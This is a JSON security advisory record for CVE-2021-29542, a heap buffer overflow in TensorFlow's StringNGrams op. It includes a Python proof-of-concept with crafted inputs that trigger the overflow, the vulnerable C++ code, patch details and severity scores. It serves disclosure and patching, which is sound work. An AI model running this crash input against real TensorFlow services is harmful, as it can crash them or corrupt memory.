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  "aliases": [
    "CVE-2021-29542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-131",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T21:54:20Z",
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\nAn attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\nseparator = b\u0027\\x02\\x00\u0027    \nngram_widths = [7, 6, 11]\nleft_pad = b\u0027\\x7f\\x7f\\x7f\\x7f\\x7f\u0027\nright_pad = b\u0027\\x7f\\x7f\\x25\\x5d\\x53\\x74\u0027\npad_width = 50\npreserve_short_sequences = True\n  \nl = [\u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\u0027]\n  \ndata = tf.constant(l, shape=[11], dtype=tf.string)\n  \nl2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 3]\ndata_splits = tf.constant(l2, shape=[116], dtype=tf.int64)\n\nout = tf.raw_ops.StringNGrams(data=data,\n    data_splits=data_splits, separator=separator,\n    ngram_widths=ngram_widths, left_pad=left_pad,\n    right_pad=right_pad, pad_width=pad_width,\n    preserve_short_sequences=preserve_short_sequences)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:\n  \n```cc\nfor (int ngram_index = 0; ngram_index \u003c num_ngrams; ++ngram_index) {\n  int pad_width = get_pad_width(ngram_width);\n  int left_padding = std::max(0, pad_width - ngram_index);\n  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));\n  int num_tokens = ngram_width - (left_padding + right_padding);\n  int data_start_index = left_padding \u003e 0 ? 0 : ngram_index - pad_width;\n  ...\n  tstring* ngram = \u0026output[ngram_index];\n  ngram-\u003ereserve(ngram_size);\n  for (int n = 0; n \u003c left_padding; ++n) {\n    ngram-\u003eappend(left_pad_);\n    ngram-\u003eappend(separator_);\n  }\n  for (int n = 0; n \u003c num_tokens - 1; ++n) {\n    ngram-\u003eappend(data[data_start_index + n]);\n    ngram-\u003eappend(separator_);\n  }\n  ngram-\u003eappend(data[data_start_index + num_tokens - 1]); // \u003c\u003c\u003c\n  for (int n = 0; n \u003c right_padding; ++n) {\n    ngram-\u003eappend(separator_);\n    ngram-\u003eappend(right_pad_);\n  }\n  ...\n}\n```\n\nIf input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
  "id": "GHSA-4hrh-9vmp-2jgg",
  "modified": "2024-10-31T19:58:52Z",
  "published": "2021-05-21T14:23:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml"
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  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heap buffer overflow in `StringNGrams`"
}